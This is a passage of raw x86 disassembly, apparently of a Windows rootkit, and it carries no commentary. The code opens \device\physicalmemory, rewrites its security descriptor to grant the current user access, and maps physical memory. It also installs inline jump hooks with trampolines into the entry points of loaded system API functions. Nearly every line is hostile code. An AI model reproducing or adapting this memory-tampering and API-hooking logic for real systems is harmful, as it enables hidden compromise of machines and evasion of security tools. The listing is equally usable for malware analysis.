loc_401874:				; CODE XREF: sub_4015EC+55j
					; sub_4015EC+60j ...
		inc	dword_41A1FC
		test	byte ptr ds:dword_408FF4, 40h
		jz	loc_40192F
		mov	eax, ecx
		inc	ecx
		mov	al, [eax]
		mov	ds:byte_419144,	al
		movzx	eax, ds:byte_419144
		and	eax, 0C0h
		mov	byte ptr [ebp+var_4+3],	al
		movzx	eax, ds:byte_419144
		and	eax, 7
		mov	byte ptr [ebp+var_4+2],	al
		movzx	eax, byte ptr [ebp+var_4+3]
		cmp	eax, 0C0h
		jz	short loc_40192F
		cmp	byte ptr [ebp+var_4+3],	40h
		jnz	short loc_4018C4
		inc	ds:dword_408110


loc_4018C4:				; CODE XREF: sub_4015EC+2D0j
		movzx	eax, byte ptr [ebp+var_4+3]
		cmp	eax, 80h
		jnz	short loc_4018DA
		mov	eax, ds:dword_408A34
		add	ds:dword_408110, eax


loc_4018DA:				; CODE XREF: sub_4015EC+2E1j
		cmp	ds:dword_408A34, 2
		jnz	short loc_4018F8
		cmp	byte ptr [ebp+var_4+3],	0
		jnz	short loc_40192F
		cmp	byte ptr [ebp+var_4+2],	6
		jnz	short loc_40192F
		add	ds:dword_408110, 2
		jmp	short loc_40192F
; ---------------------------------------------------------------------------


loc_4018F8:				; CODE XREF: sub_4015EC+2F5j
		cmp	byte ptr [ebp+var_4+2],	4
		jnz	short loc_40191C
		or	byte ptr ds:dword_408FF4, 80h
		mov	eax, ecx
		inc	ecx
		mov	al, [eax]
		mov	ds:byte_408FD4,	al
		movzx	eax, ds:byte_408FD4
		and	eax, 7
		mov	byte ptr [ebp+var_4+2],	al


loc_40191C:				; CODE XREF: sub_4015EC+310j
		cmp	byte ptr [ebp+var_4+2],	5
		jnz	short loc_40192F
		cmp	byte ptr [ebp+var_4+3],	0
		jnz	short loc_40192F
		add	ds:dword_408110, 4


loc_40192F:				; CODE XREF: sub_4015EC+295j
					; sub_4015EC+2CAj ...
		and	ds:dword_408114, 0
		jmp	short loc_401950
; ---------------------------------------------------------------------------


loc_401938:				; CODE XREF: sub_4015EC+36Fj
		mov	eax, ecx
		inc	ecx
		mov	edx, ds:dword_408114
		mov	al, [eax]
		mov	ds:byte_408A28[edx], al
		inc	ds:dword_408114


loc_401950:				; CODE XREF: sub_4015EC+34Aj
		mov	eax, ds:dword_408110
		cmp	ds:dword_408114, eax
		jb	short loc_401938
		and	ds:dword_408114, 0
		jmp	short loc_40197E
; ---------------------------------------------------------------------------


loc_401966:				; CODE XREF: sub_4015EC+39Dj
		mov	eax, ecx
		inc	ecx
		mov	edx, ds:dword_408114
		mov	al, [eax]
		mov	ds:byte_419370[edx], al
		inc	ds:dword_408114


loc_40197E:				; CODE XREF: sub_4015EC+378j
		mov	eax, ds:dword_40900C
		cmp	ds:dword_408114, eax
		jb	short loc_401966
		inc	dword_41A1FC
		mov	eax, ecx
		sub	eax, esi
		mov	ds:dword_408004, eax
		xor	eax, eax
		inc	eax


loc_40199D:				; CODE XREF: sub_4015EC+EAj
					; sub_4015EC+110j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4015EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019A1	proc near		; CODE XREF: sub_401EAF+10p
		push	edi
		push	offset aNtdll_dll ; "ntdll.dll"
		call	sub_407978	; GetModuleHandleA
		mov	edi, eax
		push	offset aRtlinitunicode ; "RtlInitUnicodeString"
		push	edi
		call	sub_407990	; GetProcAddress
		mov	ds:dword_41913C, eax
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	edi
		call	sub_407990	; GetProcAddress
		mov	ds:dword_408FF0, eax
		push	offset aNtopensection ;	"NtOpenSection"
		push	edi
		call	sub_407990	; GetProcAddress
		mov	ds:dword_408FE0, eax
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	edi
		call	sub_407990	; GetProcAddress
		mov	ds:dword_409004, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	edi
		call	sub_407990	; GetProcAddress
		mov	ds:dword_419138, eax
		pop	edi
		retn
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A00	proc near		; CODE XREF: sub_401EAF+134p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		push	edi
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_58]
		push	eax
		call	ds:dword_41913C
		mov	[ebp+var_18], 18h
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_58]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 40h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], 1
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		mov	[ebp+var_50], 2
		mov	[ebp+var_4C], 1
		and	[ebp+var_48], 0
		lea	edi, [ebp+var_44]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		lea	eax, [ebp+var_18]
		push	eax
		push	60000h
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_408FE0
		lea	eax, [ebp+var_64]
		push	eax
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_407D68	; GetSecurityInfo
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_5C]
		lea	eax, [ebp+var_50]
		push	eax
		push	1
		call	sub_407D80	; SetEntriesInAclA
		push	0
		push	[ebp+var_60]
		push	0
		push	0
		push	4
		push	6
		push	[ebp+var_1C]
		call	sub_407D74	; SetSecurityInfo
		push	[ebp+var_1C]
		call	sub_407984	; CloseHandle
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_50]
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_408FE0
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		leave
		retn
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AE9	proc near		; CODE XREF: sub_401EAF+1B0p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		and	[ebp+var_8], 0
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_14], eax
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	ds:dword_409004
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401AE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B2E	proc near		; CODE XREF: sub_401EAF+21Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	ds:dword_408FF0
		pop	ebp
		retn
sub_401B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B3E	proc near		; CODE XREF: sub_401E23+7Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		xor	edi, edi


loc_401B4F:				; CODE XREF: sub_401B3E+24Fj
		movzx	eax, byte ptr [esi+edi]
		cmp	eax, 0FFh
		jnz	short loc_401B8E
		movzx	eax, byte ptr [edi+esi+1]
		cmp	eax, 0FFh
		jnz	short loc_401B8E
		movzx	eax, byte ptr [edi+esi+2]
		cmp	eax, 0FFh
		jnz	short loc_401B8E
		movzx	eax, byte ptr [edi+esi+3]
		cmp	eax, 0FFh
		jnz	short loc_401B8E
		movzx	eax, byte ptr [edi+esi+4]
		cmp	eax, 0FFh
		jz	loc_401D93


loc_401B8E:				; CODE XREF: sub_401B3E+1Aj
					; sub_401B3E+26j ...
		mov	eax, [ebp+arg_8]
		lea	eax, [ebx+eax+5]
		mov	dl, [esi+edi]
		mov	[eax+edi], dl
		mov	[ebp+var_1], 0


loc_401B9F:				; CODE XREF: sub_401B3E+126j
		movzx	eax, [ebp+var_1]
		imul	eax, 0Ch
		movzx	eax, byte_41AF74[eax]
		movzx	edx, byte ptr [esi+edi]
		cmp	edx, eax
		jnz	loc_401C4F
		mov	edx, edi
		dec	edx
		movzx	edx, byte ptr [esi+edx]
		cmp	edx, eax
		jnz	loc_401C4F
		mov	edx, edi
		sub	edx, 2
		movzx	edx, byte ptr [esi+edx]
		cmp	edx, eax
		jnz	short loc_401C4F
		mov	edx, edi
		sub	edx, 3
		movzx	edx, byte ptr [esi+edx]
		cmp	edx, eax
		jnz	short loc_401C4F
		mov	eax, edi
		sub	eax, 4
		movzx	eax, byte ptr [esi+eax]
		cmp	eax, 0E8h
		jnz	short loc_401C4F
		movzx	eax, [ebp+var_1]
		imul	eax, 0Ch
		push	off_41AF7C[eax]
		call	sub_407978	; GetModuleHandleA
		movzx	edx, [ebp+var_1]
		imul	edx, 0Ch
		push	off_41AF78[edx]
		push	eax
		call	sub_407990	; GetProcAddress
		mov	[ebp+var_8], eax
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		lea	edx, [ebx+edx+5]
		add	edx, edi
		sub	edx, 4
		sub	eax, edx
		add	eax, [ebp+var_8]
		sub	eax, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_8]
		lea	eax, [ebx+eax+5]
		add	eax, edi
		sub	eax, 4
		mov	edx, [ebp+var_C]
		mov	ds:1[eax], edx
		jmp	short loc_401C69
; ---------------------------------------------------------------------------


loc_401C4F:				; CODE XREF: sub_401B3E+76j
					; sub_401B3E+85j ...
		movzx	eax, [ebp+var_1]
		imul	eax, 0Ch
		cmp	off_41AF78[eax], 0
		jz	short loc_401C69
		add	[ebp+var_1], 1
		jmp	loc_401B9F
; ---------------------------------------------------------------------------


loc_401C69:				; CODE XREF: sub_401B3E+10Fj
					; sub_401B3E+120j
		cmp	byte ptr [esi+edi], 4
		jnz	short loc_401CC3
		mov	eax, edi
		dec	eax
		cmp	byte ptr [esi+eax], 4
		jnz	short loc_401CC3
		mov	eax, edi
		sub	eax, 2
		cmp	byte ptr [esi+eax], 4
		jnz	short loc_401CC3
		mov	eax, edi
		sub	eax, 3
		cmp	byte ptr [esi+eax], 4
		jnz	short loc_401CC3
		mov	eax, edi
		sub	eax, 4
		movzx	eax, byte ptr [esi+eax]
		cmp	al, 68h
		jz	short loc_401CAD
		cmp	eax, 0BEh
		jz	short loc_401CAD
		mov	eax, edi
		sub	eax, 5
		cmp	byte ptr [esi+eax], 24h
		jnz	short loc_401CC3


loc_401CAD:				; CODE XREF: sub_401B3E+15Bj
					; sub_401B3E+162j
		mov	eax, ebx
		add	eax, [ebp+arg_8]
		lea	edx, [eax+edi+5]
		sub	edx, 4
		add	eax, 7
		mov	ds:1[edx], eax


loc_401CC3:				; CODE XREF: sub_401B3E+12Fj
					; sub_401B3E+138j ...
		cmp	byte ptr [esi+edi], 2
		jnz	short loc_401D2E
		mov	eax, edi
		dec	eax
		cmp	byte ptr [esi+eax], 2
		jnz	short loc_401D2E
		mov	eax, edi
		sub	eax, 2
		cmp	byte ptr [esi+eax], 2
		jnz	short loc_401D2E
		mov	eax, edi
		sub	eax, 3
		cmp	byte ptr [esi+eax], 2
		jnz	short loc_401D2E
		mov	eax, edi
		sub	eax, 4
		movzx	eax, byte ptr [esi+eax]
		cmp	eax, 0E8h
		jz	short loc_401CFF
		cmp	eax, 0E9h
		jnz	short loc_401D2E


loc_401CFF:				; CODE XREF: sub_401B3E+1B8j
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_8]
		lea	edx, [ebx+edx+5]
		add	edx, edi
		sub	edx, 4
		sub	eax, edx
		add	eax, ebx
		sub	eax, 4
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		lea	eax, [ebx+eax+5]
		add	eax, edi
		sub	eax, 4
		mov	edx, [ebp+var_8]
		mov	ds:1[eax], edx


loc_401D2E:				; CODE XREF: sub_401B3E+189j
					; sub_401B3E+192j ...
		cmp	byte ptr [esi+edi], 1
		jnz	short loc_401D86
		mov	eax, edi
		dec	eax
		cmp	byte ptr [esi+eax], 1
		jnz	short loc_401D86
		mov	eax, edi
		sub	eax, 2
		cmp	byte ptr [esi+eax], 1
		jnz	short loc_401D86
		mov	eax, edi
		sub	eax, 3
		cmp	byte ptr [esi+eax], 1
		jnz	short loc_401D86
		mov	eax, edi
		sub	eax, 4
		movzx	eax, byte ptr [esi+eax]
		cmp	al, 3Dh
		jz	short loc_401D6E
		cmp	eax, 0FEh
		jz	short loc_401D6E
		cmp	eax, 0FFh
		jnz	short loc_401D86


loc_401D6E:				; CODE XREF: sub_401B3E+220j
					; sub_401B3E+227j
		call	sub_40793C	; GetCurrentProcessId
		mov	edx, [ebp+arg_8]
		lea	edx, [ebx+edx+5]
		add	edx, edi
		sub	edx, 4
		mov	ds:1[edx], eax


loc_401D86:				; CODE XREF: sub_401B3E+1F4j
					; sub_401B3E+1FDj ...
		inc	edi
		cmp	edi, 400h
		jb	loc_401B4F


loc_401D93:				; CODE XREF: sub_401B3E+4Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401B3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D98	proc near		; CODE XREF: sub_401EAF+53Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		jmp	short loc_401DC2
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D98+34j
		xor	edi, edi
		jmp	short loc_401DB1
; ---------------------------------------------------------------------------


loc_401DAA:				; CODE XREF: sub_401D98+1Fj
		cmp	byte ptr [esi+edi], 0
		jnz	short loc_401DB9
		inc	edi


loc_401DB1:				; CODE XREF: sub_401D98+10j
		cmp	edi, 3E8h
		jbe	short loc_401DAA


loc_401DB9:				; CODE XREF: sub_401D98+16j
		cmp	edi, 3E8h
		jnb	short loc_401DD3
		inc	esi


loc_401DC2:				; CODE XREF: sub_401D98+Cj
		mov	eax, [ebp+arg_4]
		sub	eax, 3E8h
		cmp	esi, eax
		jbe	short loc_401DA6
		jmp	loc_401EAA
; ---------------------------------------------------------------------------


loc_401DD3:				; CODE XREF: sub_401D98+27j
		add	esi, 0Ah
		movzx	edx, [ebp+arg_8]
		shl	edx, 2
		mov	edi, ds:dword_408220[edx]
		xor	ebx, ebx


loc_401DE6:				; CODE XREF: sub_401E23+30j
		mov	eax, edi
		add	eax, ebx
		push	eax
		call	sub_4015EC
		pop	ecx
		movzx	eax, byte ptr [edi+ebx]
		cmp	eax, 0E8h
		jz	short sub_401E23
		cmp	eax, 0E9h
		jz	short sub_401E23
		and	[ebp+var_4], 0
		jmp	short loc_401E17
; ---------------------------------------------------------------------------


loc_401E09:				; CODE XREF: sub_401D98+87j
		mov	eax, ebx
		add	eax, [ebp+var_4]
		mov	dl, [edi+eax]
		mov	[esi+eax], dl
		inc	[ebp+var_4]


loc_401E17:				; CODE XREF: sub_401D98+6Fj
		mov	eax, ds:dword_408004
		cmp	[ebp+var_4], eax
		jb	short loc_401E09
		jmp	short loc_401E4A
sub_401D98	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E23	proc near		; CODE XREF: sub_401D98+62j
					; sub_401D98+69j
					; DATA XREF: ...
		mov	al, [edi+ebx]
		mov	[esi+ebx], al
		lea	eax, [edi+ebx+1]
		mov	eax, [eax]
		mov	[ebp-8], eax
		mov	edx, esi
		add	edx, ebx
		sub	eax, edx
		mov	edx, edi
		add	edx, ebx
		add	eax, edx
		mov	[ebp-0Ch], eax
		lea	eax, [esi+ebx+1]
		mov	edx, [ebp-0Ch]
		mov	[eax], edx


loc_401E4A:				; CODE XREF: sub_401D98+89j
		add	ebx, ds:dword_408004
		cmp	ebx, 5
		jb	short loc_401DE6
		or	eax, 0FFFFFFFFh
		mov	edx, esi
		add	edx, ebx
		sub	eax, edx
		mov	edx, edi
		add	edx, ebx
		add	eax, edx
		sub	eax, 4
		mov	[ebp-8], eax
		mov	byte ptr [ebx+esi], 0E9h
		lea	eax, [esi+ebx+1]
		mov	edx, [ebp-8]
		mov	[eax], edx
		or	eax, 0FFFFFFFFh
		sub	eax, edi
		lea	edx, [esi+ebx+5]
		add	eax, edx
		sub	eax, 4
		mov	[ebp-8], eax
		mov	byte ptr [edi],	0E9h
		mov	ds:1[edi], eax
		push	ebx
		push	esi
		movzx	edx, byte ptr [ebp+10h]
		shl	edx, 4
		push	off_41ADB8[edx]
		call	sub_401B3E
		add	esp, 0Ch


loc_401EAA:				; CODE XREF: sub_401D98+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401E23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401EAF	proc near		; CODE XREF: sub_406344+2FCp

var_255C	= dword	ptr -255Ch
var_2180	= dword	ptr -2180h
var_217C	= byte ptr -217Ch
var_2174	= dword	ptr -2174h
var_2170	= dword	ptr -2170h
var_216C	= dword	ptr -216Ch
var_2168	= dword	ptr -2168h
var_2164	= dword	ptr -2164h
var_2160	= dword	ptr -2160h
var_215C	= dword	ptr -215Ch
var_2158	= dword	ptr -2158h
var_2054	= dword	ptr -2054h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2048	= dword	ptr -2048h
var_2044	= dword	ptr -2044h
var_203C	= dword	ptr -203Ch
var_202C	= dword	ptr -202Ch
var_2028	= dword	ptr -2028h
var_2024	= dword	ptr -2024h
var_201D	= byte ptr -201Dh
var_201C	= dword	ptr -201Ch
var_2018	= dword	ptr -2018h
var_1014	= dword	ptr -1014h
var_100D	= byte ptr -100Dh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 255Ch
		call	sub_4078CC
		push	ebx
		push	esi
		push	edi
		call	sub_4019A1
		mov	[ebp+var_201D],	0
		call	sub_4079C0	; GetVersion
		cmp	eax, 80000000h
		jnb	short loc_401EDE
		mov	[ebp+var_201D],	1


loc_401EDE:				; CODE XREF: sub_401EAF+26j
		mov	[ebp+var_100D],	0


loc_401EE5:				; CODE XREF: sub_401EAF+EBj
		cmp	[ebp+var_201D],	0
		jnz	short loc_401F02
		movzx	edx, [ebp+var_100D]
		shl	edx, 4
		cmp	byte_41ADBC[edx], 1
		jz	short loc_401F1F


loc_401F02:				; CODE XREF: sub_401EAF+3Dj
		cmp	[ebp+var_201D],	0
		jz	short loc_401F21
		movzx	edx, [ebp+var_100D]
		shl	edx, 4
		cmp	byte_41ADBC[edx], 2
		jnz	short loc_401F21


loc_401F1F:				; CODE XREF: sub_401EAF+51j
		jmp	short loc_401F81
; ---------------------------------------------------------------------------


loc_401F21:				; CODE XREF: sub_401EAF+5Aj
					; sub_401EAF+6Ej
		movzx	edx, [ebp+var_100D]
		mov	[ebp+var_2158],	edx
		mov	ecx, edx
		shl	ecx, 4
		push	off_41ADB4[ecx]
		call	sub_407A50	; LoadLibraryA
		mov	edx, [ebp+var_2158]
		mov	ds:dword_408B40[edx*4],	eax
		movzx	edx, [ebp+var_100D]
		mov	ecx, edx
		shl	ecx, 4
		push	off_41ADB0[ecx]
		shl	edx, 2
		mov	[ebp+var_215C],	edx
		push	ds:dword_408B40[edx]
		call	sub_407990	; GetProcAddress
		mov	edx, [ebp+var_215C]
		mov	ds:dword_408220[edx], eax


loc_401F81:				; CODE XREF: sub_401EAF:loc_401F1Fj
		add	[ebp+var_100D],	1
		movzx	edx, [ebp+var_100D]
		shl	edx, 4
		cmp	off_41ADB0[edx], 0
		jnz	loc_401EE5
		mov	[ebp+var_100D],	0


loc_401FA7:				; CODE XREF: sub_401EAF+5A1j
		movzx	edx, [ebp+var_100D]
		shl	edx, 2
		cmp	ds:dword_408220[edx], 0
		jz	loc_402437
		movzx	edx, [ebp+var_100D]
		shl	edx, 2
		mov	edx, ds:dword_408B40[edx]
		mov	[ebp+var_202C],	edx
		cmp	[ebp+var_201D],	0
		jz	loc_402168
		call	sub_401A00
		mov	[ebp+var_2028],	eax
		mov	edx, [ebp+var_202C]
		mov	ebx, edx
		shr	ebx, 16h
		shl	ebx, 16h
		mov	eax, ebx
		add	eax, 400000h
		mov	[ebp+var_100C],	eax
		xor	edi, edi
		jmp	short loc_40202E
; ---------------------------------------------------------------------------


loc_40200D:				; CODE XREF: sub_401EAF+185j
		push	1000h
		push	ebx
		call	sub_407A38	; IsBadReadPtr
		mov	esi, eax
		xor	esi, 1
		shl	esi, 2
		mov	[ebp+edi*4+var_1008], esi
		inc	edi
		add	ebx, 1000h


loc_40202E:				; CODE XREF: sub_401EAF+15Cj
		cmp	ebx, [ebp+var_100C]
		jbe	short loc_40200D
		lea	eax, [ebp+var_217C]
		push	eax
		call	sub_407A14	; GlobalMemoryStatus
		and	[ebp+var_1014],	0
		jmp	loc_4020DA
; ---------------------------------------------------------------------------


loc_40204E:				; CODE XREF: sub_401EAF+23Cj
		push	0FFFFh
		push	[ebp+var_1014]
		push	[ebp+var_2028]
		call	sub_401AE9
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_4020D0
		and	[ebp+var_2180],	0


loc_402075:				; CODE XREF: sub_401EAF+583j
		mov	ebx, [ebp+var_2180]
		jmp	short loc_4020BF
; ---------------------------------------------------------------------------


loc_40207D:				; CODE XREF: sub_401EAF+216j
		xor	edi, edi


loc_40207F:				; CODE XREF: sub_401EAF+1F1j
		mov	edx, ebx
		shr	edx, 2
		shl	edx, 2
		add	edx, [ebp+var_4]
		mov	esi, [edx+edi*4]
		and	esi, 4
		cmp	esi, [ebp+edi*4+var_1008]
		jnz	short loc_4020A2
		inc	edi
		cmp	edi, 400h
		jb	short loc_40207F


loc_4020A2:				; CODE XREF: sub_401EAF+1E8j
		cmp	edi, 3FFh
		jb	short loc_4020B9
		mov	eax, ebx
		add	eax, 1000h
		mov	[ebp+var_2180],	eax
		jmp	short loc_402101
; ---------------------------------------------------------------------------


loc_4020B9:				; CODE XREF: sub_401EAF+1F9j
		add	ebx, 1000h


loc_4020BF:				; CODE XREF: sub_401EAF+1CCj
		cmp	ebx, 0F000h
		jbe	short loc_40207D
		push	[ebp+var_4]
		call	sub_401B2E
		pop	ecx


loc_4020D0:				; CODE XREF: sub_401EAF+1BDj
		add	[ebp+var_1014],	10000h


loc_4020DA:				; CODE XREF: sub_401EAF+19Aj
		mov	eax, [ebp+var_2174]
		sub	eax, 0FFFFh
		cmp	[ebp+var_1014],	eax
		jbe	loc_40204E
		push	[ebp+var_2028]
		call	sub_407984	; CloseHandle
		jmp	loc_402437
; ---------------------------------------------------------------------------


loc_402101:				; CODE XREF: sub_401EAF+208j
		movzx	edx, [ebp+var_100D]
		shl	edx, 2
		mov	edx, ds:dword_408220[edx]
		mov	[ebp+var_100C],	edx
		and	[ebp+var_100C],	0


loc_40211F:				; CODE XREF: sub_401EAF+2B7j
		mov	edx, [ebp+var_100C]
		shl	edx, 2
		mov	ecx, ebx
		shr	ecx, 2
		shl	ecx, 2
		add	ecx, [ebp+var_4]
		mov	ecx, [ecx+edx]
		mov	[ebp+edx+var_2018], ecx
		mov	edx, [ebp+var_100C]
		shl	edx, 2
		mov	ecx, ebx
		shr	ecx, 2
		shl	ecx, 2
		add	ecx, [ebp+var_4]
		add	edx, ecx
		or	byte ptr [edx],	2
		inc	[ebp+var_100C]
		cmp	[ebp+var_100C],	400h
		jb	short loc_40211F


loc_402168:				; CODE XREF: sub_401EAF+12Ej
		cmp	[ebp+var_201D],	0
		jnz	short loc_4021CC
		push	offset aKernel32_dll ; "kernel32.dll"
		call	sub_407978	; GetModuleHandleA
		mov	[ebp+var_2160],	eax
		mov	edx, eax
		add	edx, ds:3Ch[eax]
		mov	[ebp+var_2164],	edx
		add	edx, 78h
		add	eax, [edx]
		mov	[ebp+var_2168],	eax
		mov	eax, [ebp+var_2160]
		mov	edx, [ebp+var_2168]
		add	edx, 1Ch
		add	eax, [edx]
		mov	[ebp+var_216C],	eax
		mov	eax, [ebp+var_2160]
		mov	edx, [ebp+var_216C]
		add	eax, [edx]
		mov	[ebp+var_2170],	eax
		mov	[ebp+var_2054],	eax


loc_4021CC:				; CODE XREF: sub_401EAF+2C0j
		push	1Ch
		lea	eax, [ebp+var_2048]
		push	eax
		call	sub_407AB0	; RtlZeroMemory
		mov	eax, [ebp+var_202C]
		mov	[ebp+var_2024],	eax


loc_4021E6:				; CODE XREF: sub_401EAF+372j
					; sub_401EAF+39Aj
		push	1Ch
		lea	eax, [ebp+var_2048]
		push	eax
		push	[ebp+var_2024]
		call	sub_407B10	; VirtualQuery
		mov	eax, [ebp+var_202C]
		cmp	[ebp+var_2044],	eax
		jnz	short loc_40224B
		mov	eax, [ebp+var_203C]
		mov	[ebp+var_204C],	eax
		add	[ebp+var_2024],	eax
		cmp	[ebp+var_201D],	0
		jnz	short loc_4021E6
		push	20060000h
		push	0
		mov	edx, [ebp+var_204C]
		shr	edx, 0Ch
		push	edx
		mov	edx, [ebp+var_2048]
		shr	edx, 0Ch
		push	edx
		push	1000Dh
		call	[ebp+var_2054]
		jmp	short loc_4021E6
; ---------------------------------------------------------------------------


loc_40224B:				; CODE XREF: sub_401EAF+357j
		movzx	edx, [ebp+var_100D]
		shl	edx, 2
		mov	ecx, [ebp+var_2024]
		sub	ecx, [ebp+var_202C]
		mov	ds:dword_408620[edx], ecx
		movzx	edx, [ebp+var_100D]
		shl	edx, 2
		mov	edx, ds:dword_408220[edx]
		mov	[ebp+var_100C],	edx
		push	1000h
		push	edx
		call	sub_407A44	; IsBadWritePtr
		mov	[ebp+var_2050],	eax
		or	eax, eax
		jnz	loc_4023F2
		cmp	[ebp+arg_0], 0
		jz	loc_4023D6
		mov	eax, [ebp+var_100C]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0E9h
		jz	short loc_4022C1
		cmp	[ebp+arg_0], 1
		jz	loc_4023F2
		jmp	loc_4023D6
; ---------------------------------------------------------------------------


loc_4022C1:				; CODE XREF: sub_401EAF+401j
		mov	eax, [ebp+var_100C]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp+var_201C],	eax
		mov	byte ptr [ebp+var_2160+3], 0


loc_4022E2:				; CODE XREF: sub_401EAF+4A9j
		sub	[ebp+var_201C],	5
		mov	esi, [ebp+var_201C]


loc_4022EF:				; CODE XREF: sub_401EAF+471j
		mov	eax, esi
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_40231F
		mov	eax, esi
		sub	eax, 2
		cmp	byte ptr [eax],	0
		jnz	short loc_40231F
		mov	eax, esi
		sub	eax, 3
		cmp	byte ptr [eax],	0
		jnz	short loc_40231F
		mov	eax, esi
		sub	eax, 4
		cmp	byte ptr [eax],	0
		jnz	short loc_40231F
		mov	eax, esi
		sub	eax, 5
		cmp	byte ptr [eax],	0
		jz	short loc_402322


loc_40231F:				; CODE XREF: sub_401EAF+446j
					; sub_401EAF+450j ...
		dec	esi
		jmp	short loc_4022EF
; ---------------------------------------------------------------------------


loc_402322:				; CODE XREF: sub_401EAF+46Ej
		movzx	edx, byte ptr [ebp+var_2160+3]
		shl	edx, 2
		mov	[ebp+edx+var_255C], esi
		add	byte ptr [ebp+var_2160+3], 1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_40235A
		mov	eax, ds:1[esi]
		sub	eax, 0FFFFFFFFh
		lea	eax, [eax+esi+4]
		mov	[ebp+var_201C],	eax
		jmp	short loc_4022E2
; ---------------------------------------------------------------------------


loc_40235A:				; CODE XREF: sub_401EAF+493j
		mov	edi, esi
		jmp	short loc_40236D
; ---------------------------------------------------------------------------


loc_40235E:				; CODE XREF: sub_401EAF+4C4j
		mov	eax, [ebp+var_100C]
		add	eax, edi
		sub	eax, esi
		mov	dl, [edi]
		mov	[eax], dl
		inc	edi


loc_40236D:				; CODE XREF: sub_401EAF+4ADj
		cmp	edi, [ebp+var_201C]
		jb	short loc_40235E


loc_402375:				; CODE XREF: sub_401EAF+51Fj
		sub	byte ptr [ebp+var_2160+3], 1
